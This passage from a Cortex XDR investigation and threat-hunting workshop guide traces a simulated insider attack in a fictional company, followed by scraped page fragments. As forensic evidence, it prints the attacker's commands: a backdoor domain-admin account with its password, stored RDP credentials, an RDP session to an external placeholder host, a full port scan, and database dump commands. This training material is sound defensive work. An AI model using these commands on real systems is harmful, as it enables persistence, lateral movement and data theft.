internally from user COMPANY\svc-dbadmin from multiple hosts to 4.0.0.100 (scroll down)

48
Step 5: We also see multiple RDP connections were initiated internally from user
COMPANY\svc-dbadmin to another internal IP address of 172.16.20.65
Step 6: Look again at the results that show SRC_IP of 4.0.0.100 to DST_IP of 1.1.1.65 and
SRC_IP of 4.0.0.100 to DST_IP of 172.16.20.65.
If you had access to the FW, you could see that these IP addresses match NGFW’s NAT policy
named DstNAT-WebStaging65 in the screenshot below:

49
Task 6 – Investigate the other alerts in this Incident

Note: At this point we know that the svc-dbadmin user has performed some very malicious
activities. So we don’t need to investigate every single alert in this incident (but you can if time
permits). We will now focus on understanding on a high level what happened before the
exfiltration of 1.5GB of data.
Step 1: Return to Incident ID-32 and click on the Alerts & Insights subtab. For the Alerts, read
through the information in the CATEGORY, ALERT NAME, and DESCRIPTION columns.
Step 2: These alerts look interesting, especially the one named RDP connections enabled via
Registry from a script host or rundll32.exe. Butlet’s review the Insights first. Click on the
Insights subtab.

50
While all these Insights are interesting, we will focus on the Information and Low severity alerts
listed below:
Alert Name INITIATED BY
Uncommon RDP connection powershell.exe
Suspicious usage of Microsoft's Active Directory PowerShell module powershell.exe

remote discovery cmdlet
Windows hosts file written to cmd.exe
Step 3: Hover over the description for the Alert named Uncommon RDP connection. It explains
that “The process powershell.exe initiated communication over RDP, which is uncommon. The
suspicious process connected to 172.16.20.65:3389”
Step 4: Investigate the causality chain for the alert named Suspicious usage of Microsoft's
Active Directory PowerShell module remote discovery cmdlet.
Step 4: In the new causality view, note the Powershell payload in the DESCRIPTION:
Get-ADComputer -Filter 'operatingsystem -like "*erver*"'. According to this Microsoft Docs
page, the Get-ADComputer cmdlet gets a computer or performs a search to retrieve multiple
computers.

51
Step 5: Select the powershell.exe node then right-click on it and select View children. If time
permits you can select some of these then press Ok to see them in the diagram. Based on the
table, it looks like this same powershell prompt was used to perform some other activities that
lead to the alerts in this incident.
nmap.exe was used to scan the web-staging-1 web-prod-1. machines and triggered the port
scan alert:
"C:\Program Files (x86)\Nmap\nmap.exe" -p 1-65535 -T4 -A -v web-staging-1.company.local
"C:\Program Files (x86)\Nmap\nmap.exe" -p 1-65535 -T4 -A -v web-prod-1.company.local
two commands were used with the homepc.fake.com domain name:

"C:\Windows\system32\cmdkey.exe" /generic:homepc.fake.com /user:HOMEPC\Administrator
/pass:Password1!
"C:\Windows\system32\mstsc.exe" /v:homepc.fake.com
Step 6: The homepc.fake.com domain name is non-existent in the real world, but if you return
to the Insights screen, there are two informational alerts named Windows hosts file written to.
That implies that cmd.exe and notepad.exe were used to write contents to the hosts file on this
machine - we would need to use a live terminal session to confirm the contents of the host file
(the live terminal options is not available due to the connectivity issues, in case it was available
it would look like this).

52
Step 7: Return to the Alerts subtab, then investigate the causality chain for the alert named
RDP connections enabled via Registry from a script host or rundll32.exe. In the causality view,
read the description which shows that a registry value related to Terminal Services was changed
via one of the executables: cmd.exe, powershell.exe, wscript.exe, cscript.exe, mshta.exe,
rundll32.exe. This registry value change will enable terminal services and allow the machine to
accept RDP sessions. We will further investigate this registry setting later.
Step 8: Right-click on the powershell node and select View children. look through them and
note these three entries in the CMD column:
"C:\Windows\system32\cmdkey.exe" /generic:web-prod-1.company.local /user:svc-dbadmin
/pass:B@ckd00r
"C:\Windows\system32\cmdkey.exe" /generic:web-staging-1.company.local /user:svc-dbadmin
/pass:B@ckd00r
According to this Microsoft docs page, cmdkey.exe is used to create, list, and delete stored user
names and passwords or credentials. We know what web-prod-1 and web-staging-1 is, but
what is homepc.fake.com?
Step 9: Select the row with homepc.fake.com and then click Ok to expand the tree.
Step 10: Click on the mstsc.exe node, then scroll down and click on the NETWORK tab and look
at the SRC_IP and DST_IP column. This shows that there was an RDP session initiated from the
internal network 172.16.20.103 to the external IP of 4.0.0.100 over TCP port 3389. The
ACTION_TYPE column confirms this.

53
NOTE: The 4.0.0.100 IP Address was seen in the previous incidents and alerts - the screenshot
below should refresh your memory. This is now evidence that the 4.0.0.100 IP address is also
related to this internal machine.

Note: There is a lot of information in this incident. Feel free to go back and redo some of the
above tasks and steps. Also, be ready for a discussion about the investigation steps in this
incident.
Step 1: The following behaviors and actions were seen through the alerts and logs:
● The user account of company\svc-dbadmin was used on the windows machine
IT24968/172.16.20.103 and opened an RDP sessions to internal machines of
web-staging-1/172.16.20.65 and web-prod-1/192.168.1.55.
● The same user account then opened RDP sessions to an external machine with IP
4.0.0.100
● A few hours later the same external IP address of 4.0.0.100 used RDP to connect an IP of
1.1.1.65 (which NATs to an internal machine with IP of 172.16.20.65)
● The source HOST/IP of web-staging-1/172.16.20.65 triggered a Large Upload (HTTPS)
alert and used chrome.exe to send 1.5 GB of data to an external host
● The file sent was named C:\TEMP\staging_dump.sql. The contents of the file was
created using this command: "c:\Program Files\MySQL\MySQL Server
TRANSACTIONS >> c:\temp\staging_dump.sql
Step 2: Think about the response actions that should be performed.

Now that we understand what happened, do we have enough information to respond to the
incident?
Response action – DO NOT CLICK ANY BUTTONS IN THE SYSTEM
At this point, should the web-staging-1 machine be isolated from the network? What about
the domain account belonging to company\svc-dbadmin? What about the mysqldump.exe

54
command that includes the -utest and -pChangeme123 (-u for the test user, and -p for the
Changeme123 password)parameters?
Step 3: Do you agree with the below statements and the answers in green?
● Decide whether the incident is True-Positive or False-Positive: It a True-Positive incident,
but it depends on what the actual data that was dumped from the MYSQL server, ie was it a
staging or test server or was it real, production data .
● Understand where in the attack chain it was blocked: So far none of these actions were
blocked.
● Understand the root cause: We don’t have enough information yet. We know that the
domain account of company\svc-dbadmin has performed malicious activity that involved interal
machines and a connection from an external IP address to an internal machine. We do not yet
know how the credentials to the SQL server were found, or how that account was
compromised.
● Understand if any follow up actions are required: More investigation is needed on the
COMPANY\svc-dbadmin account, the IT24968 hostname with IP 172.16.20.103, possibly the
web-Staging-1 device, and possibly the MYSQL server.
NOTE: At this point we have performed a thorough investigation of this incident and
determined the root cause of Large Upload (HTTPS) exfiltration alert, and some of the
activities that lead up to it. But, there are still some unanswered questions about the
svc-dbadmin account.

activity.
Activity 4 – Investigate the Medium Severity

Incident described as 'Uncommon net group...’
In this activity you will explore the Incident details page for a Medium Severity Incident then
Analyze and Investigate the alerts that make up the incident. This incident has automatically
aggregated more than 10 separate alerts into a single incident, and as part of the
investigation will understand if they are related to any of the previous incidents, attempt to
determine the root cause, and come to a conclusion if there is any damage or loss of
information.

55

Step 1: Return to the page or the browser tab with all the incidents. Click on the incident with
ID 19 and the description 'Uncommon net group execution' along with 9 other alerts
generated by XDR Analytics BIOC, XDR Analytics and XDR BIOC detected on host it9715
involving 2 users.
Step 2: Use some of the steps in the previous activities to review the information in this
incident. Confirm that you see these attributes:
Mitre Techniques include Network Service Scanning, Permissions Groups Discover, Remote
Services.
Host: IT9715
Users: company\svc-dbadmin and company\lex.luthor
Then right click to View the incident in a new tab
Step 3: Click on the Alerts & Insights tab, and read through the Alerts for
COMPANY\svc-dbadmin and then the alerts for COMPANY\lex.luthor. We’ve seen the
svc-dbadmin in the previous activities, so now we need to see how these two users are related.
Step 4: Click on the Insights tab. Review all the Alerts in the ALERT NAME column. Since there
are so many on this screen let’s focus on the rows with the Identity Analytics
tag. For more information about Identity Analytics, read this Cortex XDR Identity Analytics Tech
Brief.

56
Step 5: If time permits, you can look at these alerts in more detail. But for now, if any of them
are interesting, click on the row and then it will open an alert preview widget from the right side
of the screen. Here is an example:
Task 2 – Investigate the Uncommon user management alert

Step 1: Find the row with the alert named Uncommon user management via net.exe. Left click
on it and view the widget that appears. Read the description and note that the command
involves a username that we have seen before: svc-dbadmin.
Step 2: Scroll down and read as much as you can about that alert. Then move the mouse to the
top right and then select Investigate Causality Chain.

57
Step 3: Read through the DESCRIPTION and l down as needed. Confirm that you see the
command line that is used to create the svc-dbadmin account and Analytics information about
how rare this command is:
Child process command line: net user svc-dbadmin B@ckd00r /ADD /DOMAIN
/PASSWORDCHG:NO /EXPIRES:Never.
This command line was seen on 0 hosts in the last 30 days.
The same parent process was seen on 0 hosts in the last 30 days.
Step 4: Left click on the cmd.exe node in the diagram and then use the tables on the bottom or
the Show Children option to confirm you see these commands:
net localgroup administrators COMPANY\svc-dbadmin /add
net group "Domain Admins" svc-dbadmin /add /DOMAIN
Important Note: We now know that the user lex.luthor created the svc-dbadmin account and
also made a Local Administrator and a member of the Domain Admins group. Why is the AD
information for lex.luthor not correct?
Task 3 – Analyze the alert named Multiple discovery

Commands...
Step 1: Right click on the alert named Multiple discovery commands and select Investigate
Causality Chain > Open Card in a new tab. A new tab will open.
Step 2: In the new tab, view the diagram and note the processes and commands that were
executed.
Step 3: Scroll down to look at the PROCESS table. Find the information in the
TARGET_PROCESS_CMD column and note the commands that were run in the windows
command prompt.

58
Step 4: Scroll back up to see the diagram again. Hover over the net1.exe node and view both
the PROCESS INFORMATION and ANALYTICS PROFILES for this process.
Note that the number 8 in the net1.exe node represents that there are 8 different processes
that were executed in the command prompt. Feel free to click on the net1.exe node, then
towards the bottom use the Showing Process arrows to cycle through them:

59
Step 5: Click on the net.exe node (to the left of net1.exe) and forward to the next process using
the “Showing Process” arrow buttons.
Step 6: Right click on the cmd.exe process and click the “View Process Instances” button
In the new windows right click the cmd.exe execution and click “Analyze”
Using the cmd.exe causality chain can you check which commands \ processes cmd.exe
launched?

60
Task 4 –Analyze the cmd.exe node

Step 1: Right-click on the cmd.exe node and select View Process Instances.
Step 2: In the dialog that comes up, right click anywhere on that row and select Analyze.
Step 4: A new browser tab will open that shows the causality view for cmd.exe. You should click
on each of the nodes and icons and review the information on the bottom of the screen.
Step 5: Use the + and - buttons on the top right to zoom in or zoom out. Notice that the
cmd.exe node actually has the number 18 in it, which means the windows command prompt
ran 18 commands. This needs further investigation.
Step 6: Right-click on the cmd.exe node and select Investigate in timeline. This will update the
browser tab and show timeline view

61
Step 7: In the timeline view, hover over and click on any of the icons that look interesting to you
and view how the table on the bottom of the screen is updated. Also notice how they map to
various alerts that we saw before. Also pay attention to how the alerts are grouped into
different rows based on the tactic (such as Persistence or Reconnaissance) or action (process
Execution or Outgoing Connections)
Step 8: Hover over or click on each of the nodes in the Process Execution row and try to find
something interesting. Towards the middle you will see one that shows 4 actions. Click on that.
Step 9: Scroll down and you’ll see the net view command was used multiple times, presumably
to check if those different servers have any open file shares.
Step 10: Move one node over that shows 2 actions and click on that. You see that the net view
command was used again to check for file shares on FS2008 and winsrv2013.

62

63
Step 11: Due to the fact that the “net view” command is used to show resources available on
the network we want to check if any file activities have been performed to any of the queried
hosts.
Using the query builder we can query the data for all the processes executed by cmd.exe
between Aug 31st and Sep 1st 2021:
Note: pay attention to the fact the cmd.exe is the second process entity created in the query
(the UI also shows the “By acting process” next to the entity)
Step 12: In the results you can identify that a notepad.exe opened a file that is shared on
FS2008:
Step 13: (not possible in his workshop) If this was on your own network, the next logical step
would be to try and view the contents of that import_to_staging.bash file. This can be done by
using the Response > Live Terminal menu to open a connection to the FS2008 server.
Step 14: Using Live Terminal, you can use the File Explorer option to Download the
import_to_staging.bash file to your local machine and view it, or perform other actions:

64
There is also a command prompt option to run windows commands. You can use the type
command to view the contents of the file:
Now we know how the user lex.luthor found the credentials to the db server with IP address
172.16.20.25.
Step 15: Investigating the notepad.exe process using right click → Investigate causality chain
shows that the parent cmd.exe executed further process activity which uses mysql.exe to
perform activities on the database, possibly as a test and to do further reconnaissance on the
MYSQL server:
● Process : C:\Program Files\MySQL\MySQL Server 8.0\bin\mysql.exe Started
with CMD : "c:\Program Files\MySQL\MySQL Server 8.0\bin\mysql.exe"
-h172.16.20.25 -utest -pChangeme123! -e "show databases;"
-h172.16.20.25 -utest -pChangeme123! TEST -e "describe TRANSACTIONS;"

65

-h172.16.20.25 -utest -pChangeme123! TEST -e "show tables;"
Step 16: Going back to the query results from step 11 we can see that the user created a user
named svc-dbadmin and added him to the “Domain Admins” group.
This links the incident to previous incidents we investigated.

66
Task 5 – Investigate the other alerts in this incident

Step 1: In the ALERTS tab, find the alert with the description ‘RDP connections enabled via
Registry from a script host or rundll32.exe'’. We also saw this alert in the previous activity.
Right click anywhere on that row and choose Investigate Causality Chain > Open Card in new
tab. In the new tab that opens, you’ll see a single powershell.exe node.
Step 2: Right-click on the powershell.exe node and select View children. In the dialog window
that opens we see similar commands that we saw in the previous activities, which is more
evidence that these two incidents are related.
"C:\Windows\system32\cmdkey.exe" /generic:web-staging.company.local
/user:svc-dbadmin /pass:B@ckd00r
"C:\Windows\system32\cmdkey.exe" /generic:web-prod.company.local
/user:svc-dbadmin /pass:B@ckd00r
Step 3: Open the causality chain for the alert named “Multiple Discovery Commands”. Click on
the light bulb and read the description. Then scroll down to view the PROCESS table and the
values in the TARGET_PROCESS_CMD column. These commands confirm that the user
lex.luthor is performing reconnaissance across the network and Active Directory.

67
Step 4: If time permits, open the causality chain in the other alerts to view the diagram and
various commands or network connections. Here is one example of the causality diagram for
the alert named New Administrative Behavior.
In the network connections tab, we see an example of stitched data from the NGFW (App ID is
windows-remote-management) and endpoint:
Task 6 – Review evidence collected and discuss

Step 1: Review evidence collected
● There is evidence that the user named lex.luthor was responsible for creating the
svc-dbadmin account.
● There is evidence that the user named lex.luthor both connected to the 4.0.0.100 IP
address. It is most likely this IP address is a machine that he owns.
Step 2: Now that we understand what happened, we need to respond to the incident. This will
be discussed as a class. What to put here?
Step 3: Do you agree with the below statements and answers in green?
1. Decide whether the alert is True-Positive or False-Positive: True Positive. Based on the
suspicious activity, a multi-stage attack occurred across multiple machines (IT9715,
IT24968, and web-staging-1) and multiple users (lex.luthor and svc-dbadmin0

68
2. Understand where in the attack chain it was blocked: Nothing was blocked on the
endpoint or the firewall.
3. Understand the root cause: The root cause appears to be a malicious insider, using the
domain account COMPANY\lex.luthor.
4. Understand if any follow up actions are needed: Since the COMPANY\lex.luthor was
used, the account should be disabled and he should be reported.

activity.
Activity 5 – Hunt for Threats related to the above

Incidents
In the previous activities, we determined that some windows and database tools were being
used for malicious purposes. This included mstsc and RDP, user and net.exe, and
mysqldump.exe with the parameters “-utest -pChangeme123”. Since we saw alerts and
incidents involving these executables, this next activity will simulate a threat hunting exercise to
look for if and when and how these tools are being used across this fictional retail company.
Task 1 – Hunt for RDP related threats

In the previous activity, we saw that lex.luthor ran multiple commands to enable RDP on
multiple machines, that caused alerts named RDP connections enabled via Registry from a
script host or rundll32.exe. And we also saw that he used RDP to connect to the web-staging-1
server. So the next question we need to answer is if he ran these commands on other
machines, and if he used RDP to connect to other machines.
Step 1: Open the query interface by selecting Investigation > Query Builder.
Step 2: On the right side, click on Registry.

69
Step 3: In the KEY_NAME field, paste in the value below. We saw in a previous activity that the
registry value was changed.
HKEY_LOCAL_MACHINE\SYSTEM\*ControlSet*\Control\Terminal Server
Step 4: In the section labeled TIME, change to custom and change the date range so that it
shows Sept 19, 2021 - the current date.
Step 5: Review the query parameters and then click the Run button on the bottom
right.
Step 6: The query will return a few results. The most recent will show the SRC_HOST_NAME
and machines we’ve seen before (Web-Prod-1, Web-Staging-1, IT24968, and IT9715).
Step 7: Scroll right see that the registry value was changed to 0 on multiple machines. This can
be seen in the REGISTRY_VALUE_NAME and REGISTRY_DATA_ columns.

70
Step 8: Scroll right and look for the SRC_PROCESS_PATH and SRC_CMD columns. note that the
values are slightly different and we see powershell.exe in one and wsmprovhost.exe in the
others.
Step 8: For the third row with SRC_HOST_NAME of IT24968, right click on it to select Investigate
Causality Chain > Open Card in new tab.
Step 9: In the tab, hover over the description. Since the alert source is XDR BIOC, it looks like
this BIOC rule triggered because the rule explicitly includes powershell.exe:

71
Step 8: Do the same for the other tabs for the Web-Staging-1 and Web-Prod-1 machines. For
those machines, you’ll see that the diagram is slightly different and shows wsmprovhost.exe
instead of powershell.exe. This information is also in the query results table.
What is wsmprovhost.exe? According to this technet post, wsmprovhost.exe is a Windows

Remote Powershell session. This means the company/lex.luthor domain account opened a
remote powershell command on those two servers and then ran a command to enable RDP and
change the registry setting.
Peter’s Note: (we can do more hunting and check the connections from IT9715 to Web-Staging
and Web-Prod)
These steps have uncovered a security gap, we should now create a new BIOC or modify the
existing one so that we can see alerts anytime wsmprovhost.exe modifies the registry setting for
this registry key, HKEY_LOCAL_MACHINE\SYSTEM\*ControlSet*\Control\Terminal Server (or
possibly any registry key).
Task 2 – Create a rule for malicious RDP activity

Step 1: Across the top menu, click on Rules > BIOC.
Step 2: Click on Add BIOC on the upper right part of the screen then click on
Registry on the lower left.

72
Step 3: In the KEY_NAME field, copy and paste in the value below:
HKEY_LOCAL_MACHINE\SYSTEM\*ControlSet*\Control\Terminal Server
Step 4: Then click on PROCESS and copy and paste in the value below into
the NAME field.
wsmprovhost.exe
Step 5: Review your rule and verify it looks like the screenshot below.
Step 6: If everything looks good, click the Save button.

Step 7: Give the rule a name (such as firstname.lastname wsmprovhost and RDP registry), and
review the options in the TYPE dropdown, then select Persistence. Then choose a severity of
Medium and up to three MITRE TECHNIQUEs and up to three MITRE TACTICS. In the screenshot
below we chose Modify Registry and Persistence and Lateral Movement.
In the COMMENT field, type in a funny description. When done, click on OK.

73
Note: Once a BIOC is saved, the rule will create an alert for any existing and future matches. If
you return to the dashboard or the incidents page, you should see an incident if the rule creates
a Medium or High severity alert.
Task 3 – Hunt for MySQL related threats

In the previous activities, we saw that this "c:\Program Files\MySQL\MySQL Server
TRANSACTIONS command was used to download the contents of the database. This task will use
the query builder to search for any commands that contain the same -u and -p parameter .
Then this task will use a feature called Host Insights to see if those programs are installed on any
other endpoints.
Step 1: Use the Query Builder and navigate to the XQL page to create a new query. Paste the
text below into the query window.
dataset = xdr_data//
|filter event_type= PROCESS and action_process_image_command_line contains
"-utest -pChangeme123" //looking for any command lines that contain the -u and
-p text in quotes
| fields agent_hostname, agent_ip_addresses, actor_effective_username,
action_process_image_command_line //show only the fields we want
Then modify the dates so that the start date is August 29, 2021 to the current date, then click
Run.

74
Step 2: The query should return several results. View the columns named AGENT_HOSTNAME,
AGENT_IP_ADDRESSES, ACTOR_EFFECTIVE_USERNAME and confirm they match the machines
we investigated in the previous activities. Then study the
ACTION_PROCESS_IMAGE_COMMAND_LINE field. This shows that the commands executed by
lex.luthor and svc-dbadmin are very similar, and that there are not any other commands run to
other IPs (nothing except the -h172.16.20.25 parameter). If time permits, you can perform
another search for mysql.exe or mysqldump.exe.
Step 3: Since this is the first time we’ve seen the mysql.exe command used by lex.luthor, let’s
investigate further and look at the Causality Chain.
Step 4: In the causality diagram, right-click on the cmd.exe node and select View children. You
will see multiple nodes, but the notepad.exe node is interesting, so click on that.

75
Step 5: Look at the CMD value and view what notepad opened:
notepad "\\FS2008\Data\IT\Scripts\MYSQL Scripts\import_to_staging.bash"
Then click on the FILE Tab, which confirms that notepad also wrote a similar file to lex.luthor’s
Desktop:
Step 6: (this step is not available to execute due to connectivity issues): View The contents of
the file using the Live Terminal command line utility. You can also use the file browser to
download the file or any other utility presented.

76
Step 7: Next, we will use Host Insights to search for applications related to MySQL. On the top
menu, click on Add-ons > Host Insights.
Note: Due to data limitations this information may be unavailable during the workshop, in
that case follow the screenshots.
Step 8: This changes the browser view. On the left you will see the HOST INSIGHTS panel and a
section titled Host Inventory and another titled Vulnerability Assessment. By default, it shows
Accessibility, so click on Applications. Toward the right side of the APPLICATION NAME
column, click on the filter icon Then click on the filter icon and type in mysql. Press the
enter key then click anywhere to save the filter.

77
Step 9: The rows in the table will change, and we see that several MySQL applications are
installed. In the AFFECTED ENDPOINTS column, you will see a few different numbers. Find the
row that shows MySQL Server 8.0 and right-click to select View endpoints.
Step 10: Another dialog will appear and you will see a fewENDPOINT NAMEs and any CVEs that
were found on those endpoints. In a real environment, security analysts would need to ask if it
makes sense to have these tools installed on these specific endpoints.
Step 11: Next, on the left side of the screen click on Autoruns. Some adversaries use Autoruns
as a persistence tactic to periodically run commands or perform other malicious activities.
Step 12: To the right of the CMD column, click on the filter icon and type in mysql. Press
enter and then click any on the table to refresh the table.

78
Step 13: There will be zero results, which means the adversary has not used this persistence
tactic to run mysql.exe or mysqldump.exe automatically on any of the endpoints.
Step 14: If time permits, view the other information and tables in this screen, such as the
System Information, Users, or Users to Groupstables.
Task 4 – Hunt for logins by suspicious users

In the previous activities, we identified the domain accounts named company\lex.luthor and
company\svc-dbadmin as suspicious. This task will use the XDR Query Language to search for all
logins by these two users.
Step 1: On the top menu, click on Investigation > Query Builder then click on XQL Search
Step 2: Toward the middle left, click on Query Library and search for Windows successful
logins. Then toward the bottom right click Use In Query.
Step 3: In the top field, review the query and note that this query is searching through the
WINDOWS_EVENT_LOG for all successful logins. The query is also performing some regular
expression matching and extraction so that the results are displayed in an easy to read format.
Then towards the top right click on custom and choose the time from starting with September
1, 2021 to the current date. When ready, click on the Run button.

79
Step 4: The query will return 10,000+ results, but since we are only interested in the users
named lex.luthor and svc-dbadmin we can use the filter button on the USER_NAME icon to
only see those.
Step 5: The query results will be reduced to less than 1,000. Review them to learn which
Windows Host these users logged into. We see that the svc-dbadmin domain account is used
with the HOST_NAME of IT9715 and HOMEPC and the other, but the LOGON_TYPE is different.
The row showing the USER_NAME of svc-dbadmin and HOST_NAME of HOMEPC looks
interesting, so right-click to Investigate Causality Chain.
Step 6: In the new browser tab, across the top, you will see Web-Staging is the windows that is
the source of this event log.
Step 7: In the diagram, click on the event log icon . Toward the bottom, in the
information bar, click on the MESSAGE section to copy the text and view in a text editor. You
can also hover over it but it is only displayed for a few seconds. In the event log, note the
information in the Network Information section and the text that says The network fields
indicate where a remote logon request originated. Workstation name is not always available
and may be left blank in some cases. This indicates that a windows machine named HOMEPC
logged into the Web-Staging machine using the svc-dbadmin account. This is evidence of the
Terminal Services Connection in the previous activity. The good news is that we didn’t see any
others.

80
Possible Discussion topic with attendees: should these types of logins be allowed? What is the
next step for us to block or disable these accounts?

This is the last activity in this workshop.

81

Hands-On Investigation & Threat Hunting Workshop Guide V2 - October 2021 - W - o Machine

Uploaded by

Document Information

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Hands-On Investigation & Threat Hunting Workshop Guide V2 - October 2021 - W - o Machine

Uploaded by

Copyright:

Available Formats

Hands-On Investigation

& Threat Hunting

© 2021 Palo Alto Networks. Confidential and Proprietary.

How to Use This Guide

Activity 0 – Log in to Cortex XDR

Activity 1 – Learn about the Incident Management Dashboard

Activity 2 – Investigate the High Severity Incident described as ‘Behavioral Threat’

Activity 3 – Investigate the High Severity Incident described as 'Hyland Perceptive...’

©2021 Palo Alto Networks

Task 4 –Analyze the cmd.exe node

Activity 5 – Hunt for Threats related to the above Incidents

©2021 Palo Alto Networks

How to Use This Guide

Terminology Used in This Guide

The purpose of the investigation workflow is to answer these questions:

©2021 Palo Alto Networks

Activity 0 – Log in to Cortex XDR

Task 1 – Use a browser in Incognito or Private mode

Task 2 – Log in to view the applications

©2021 Palo Alto Networks

icon on the top right and then choose DARK or LIGHT.

This is the end of Activity 0.

©2021 Palo Alto Networks

Activity 1 – Learn about the Incident

In this activity, you will:

Task 1 – Open the Cortex XDR application and review the

©2021 Palo Alto Networks

Panel titled Open Incidents by Severity (Last 30 days): The

Panel titled Incidents by Assignee (Top 10|Last 30 days): The

Panel titled Total Incidents: The Total Incidents graph shows

©2021 Palo Alto Networks

Task 2 – Open the incidents page and review the details

©2021 Palo Alto Networks

©2021 Palo Alto Networks

Resolved - True Positive: Use this if you verified it is a

This is the end of Activity 1.

©2021 Palo Alto Networks

Activity 2 – Investigate the High Severity Incident

Task 1 – Open and review the incident page

©2021 Palo Alto Networks

©2021 Palo Alto Networks

©2021 Palo Alto Networks

For XDR BIOCs, you will see an option to Open in XQL.

©2021 Palo Alto Networks

Task 2 – View the Key Assets & Artifacts

©2021 Palo Alto Networks

©2021 Palo Alto Networks

©2021 Palo Alto Networks

Task 3 – View the Process Executions for PC 6 in this incident

This icon represents a Cortex XDR Agent security event

Represents an IOC or Indicator of Compromise alert

The number represents any combination of two (or more) alerts

Represents a BIOC or Behavioral Indicator of Compromise alert.

Represents an Analytics alert (not shown)

Represents an Analytics BIOC alert (Not shown).

©2021 Palo Alto Networks

Behavioral threat detected (rule: bioc.pp.ransom_prevention_final)

©2021 Palo Alto Networks

©2021 Palo Alto Networks

©2021 Palo Alto Networks

©2021 Palo Alto Networks

Step 4: Right-click on the iexplore.exe node and select View

Step 5: View the list of child processes to see if anything is